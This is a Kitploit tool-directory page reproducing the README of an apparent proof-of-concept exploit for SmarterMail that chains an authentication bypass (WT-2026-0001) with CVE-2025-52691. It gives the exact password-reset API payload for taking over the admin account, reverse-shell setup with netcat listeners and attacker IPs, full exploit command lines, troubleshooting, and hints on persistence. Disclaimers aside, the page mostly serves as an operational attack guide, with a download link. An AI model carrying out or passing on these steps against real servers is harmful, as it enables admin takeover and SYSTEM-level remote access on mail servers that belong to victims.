Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001 — CVE-2025-52691 PoC: Based on watchtowr's article WT-2026-0001 about an authentication bypass exploit, this one is a functional Python attack script. | Kitploit
Tools/GitHubGitHub/ninjazan420/cve-2025-52691-poc-smartermail-authentication-bypass-exploit-wt-2026-0001
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed TeamingRemote Access Tool
GitHubninjazan420/cve-2025-52691-poc-smartermail-authentication-bypass-exploit-wt-2026-0001

CVE-2025-52691-PoC-SmarterMail-authentication-bypass-exploit-WT-2026-0001

CVE-2025-52691 PoC: Based on watchtowr's article WT-2026-0001 about an authentication bypass exploit, this one is a functional Python attack script.

View Repository
77 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-52691 / WT-2026-0001 SmarterMail Exploit

🚨 IMPORTANT NOTICE

This tool is for authorized security testing and educational purposes only!

  • Unauthorized use is illegal and unethical
  • Only use on systems with explicit authorization
  • Use at your own risk
  • Users are responsible for compliance with all applicable laws

📋 Overview

This exploit combines two critical vulnerabilities in SmarterMail:

  1. CVE-2025-52691: Pre-Auth Remote Code Execution via File Upload
    • CVSS Score: 10.0 (Critical)
    • Affected Versions: Build 9406 and earlier, Build 16.3.6989.16341 and earlier
    • Fixed Versions: Build 9413 and later

https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691

  1. WT-2026-0001: Authentication Bypass via Password Reset
    • CVE-ID not assigned
    • Affected Versions: Up to Build 9510
    • Fixed Versions: Build 9511 (January 15, 2026)

https://labs.watchtowr.com/attackers-with-decompilers-strike-again-smartertools-smartermail-wt-2026-0001-auth-bypass/

Attack Vector

The exploit performs a 3-phase attack:

  1. Phase 1: Authentication Bypass via WT-2026-0001

    • Change admin password without verification of old password
  2. Phase 2: Admin Login with new password

    • Authenticate to SmarterMail Web Interface
  3. Phase 3: RCE via Volume Mounts functionality

    • Create a Volume Mount with Reverse Shell Command
    • Execute OS commands with SYSTEM privileges

Prerequisites

System Requirements

  • Python 3.6+
  • Netcat (nc)
  • curl
  • Linux/macOS/Windows (WSL)

Installation Instructions

root@kitploit:~
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip

# macOS
brew install python3

# Windows (WSL)
wsl --install

# Install netcat
# Ubuntu/Debian
sudo apt install netcat

# macOS
brew install netcat

# Windows (WSL)
sudo apt install netcat-traditional

Install Dependencies

root@kitploit:~
# Python dependencies (if needed)
pip3 install requests

Quick Start

Method 1: Automated Setup (Recommended)

root@kitploit:~
# Make executable
chmod +x run_exploit.sh

# Automated setup
./run_exploit.sh --auto

# Or interactive setup
./run_exploit.sh

Method 2: Direct Execution

root@kitploit:~
# Setup listener (in one terminal)
nc -lvnp 4444

# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Method 3: With All Options

root@kitploit:~
python3 exploit.py \
  -H http://192.168.1.100 \
  -P 9998 \
  -A 192.168.1.50 \
  -p 4444 \
  -d \
  --admin-username admin \
  --new-password "MySecurePassword123!"

Detailed Instructions

Step 1: Preparation

  1. Target Identification

    root@kitploit:~
    # Check target host
    curl -I http://192.168.1.100:9998
    
    # Identify SmarterMail version
    # (Usually in login page or HTTP headers)
    
  2. Listener Setup

    root@kitploit:~
    # In Terminal 1: Start listener
    nc -lvnp 4444
    
    # The listener must be running before the exploit is executed
    
  3. Network Validation

    root@kitploit:~
    # Ensure connection between attacker and target is possible
    ping 192.168.1.100
    nc -zv 192.168.1.100 9998
    

Step 2: Exploit Execution

root@kitploit:~
# With the runner script (recommended)
./run_exploit.sh

# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Step 3: After Exploit

  1. Shell Connection

    root@kitploit:~
    # In the listener terminal, a connection should now appear
    # You should have a SYSTEM shell
    
  2. Verify Access

    root@kitploit:~
    # In the obtained shell
    whoami
    hostname
    ipconfig /all  # Windows
    ifconfig       # Linux
    
  3. Persistent Access

    root@kitploit:~
    # Optional: Set up persistence
    # Windows: Install as service
    # Linux: Cron job or systemd service
    

🔧 Configuration Options

Exploit.py Parameters

ParameterDescriptionDefault Value
-H, --hostTarget host (required)-
-P, --portTarget port9998
-A, --attacker-ipAttacker IP for reverse shell (required)-
-p, --attacker-portAttacker port for reverse shell (required)-
-d, --debugEnable debug modeFalse
--admin-usernameAdmin usernameadmin
--new-passwordNew admin passwordNewPassword123!@#

Run_Exploit.sh Parameters

ParameterDescription
-t, --targetTarget host
-p, --portTarget port
-a, --attacker-ipAttacker IP
-l, --listener-portListener port
-n, --new-passwordNew admin password
-u, --admin-userAdmin username
-d, --debugDebug mode
--autoAutomated mode

Examples

Example 1: Basic Usage

root@kitploit:~
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444

Example 2: With Custom Credentials

root@kitploit:~
python3 exploit.py \
  -H https://mail.company.com \
  -P 443 \
  -A 10.0.0.1 \
  -p 8080 \
  --admin-username administrator \
  --new-password "ComplexPassword123!@#"

Example 3: Debug Mode

root@kitploit:~
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

Example 4: Automated Setup

root@kitploit:~
./run_exploit.sh --auto

Technical Details

Phase 1: Authentication Bypass

Endpoint: POST /api/v1/auth/force-reset-password

Payload:

root@kitploit:~
{
  "IsSysAdmin": "true",
  "OldPassword": "dummy",
  "Username": "admin",
  "NewPassword": "NewPassword123!@#",
  "ConfirmPassword": "NewPassword123!@#"
}

Success Response:

root@kitploit:~
{
  "success": true,
  "resultCode": 200,
  "debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}

Phase 2: Admin Login

Endpoint: POST /api/v1/auth/login

Payload:

root@kitploit:~
{
  "username": "admin",
  "password": "NewPassword123!@#"
}

Phase 3: RCE via Volume Mounts

Endpoint: POST /api/v1/settings/volume-mounts

Payload:

root@kitploit:~
{
  "name": "random_volume_name",
  "path": "C:\\Temp\\random_volume_name",
  "command": "powershell reverse shell command",
  "enabled": true,
  "type": "command"
}

Troubleshooting

Common Issues

1. Port blocked

root@kitploit:~
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998

2. Listener not reachable

root@kitploit:~
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444

3. Authentication failed

root@kitploit:~
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)

5. RCE failed

root@kitploit:~
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system

Debug Mode

Enable debug mode for detailed output:

root@kitploit:~
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d

⚠️ Security Notes

Legal Aspects

  • Only perform authorized tests
  • Obtain written permission
  • Ensure compliance with local laws
  • No testing on production systems

Security Precautions

  1. Test Environment: Always test in controlled environments
  2. Target Validation: Ensure target is a test system
  3. Network Isolation: Separate test systems from production network
  4. Documentation: Document all tests
  5. Cleanup: Remove all traces after testing

Responsible Use

  • Do not cause damage
  • Do not steal or manipulate data
  • Do not disable systems
  • Be transparent to responsible parties

Updates and Maintenance

Version Notes

  • v1.0: Initial version with full functionality
  • Future Updates: Improvements to error handling and stability

🙏 Acknowledgments

  • watchTowr Labs for the original research
  • Security Research Community for support
  • All who contributed to improvements

⚠️ Remember: With great power comes great responsibility!

Download Tool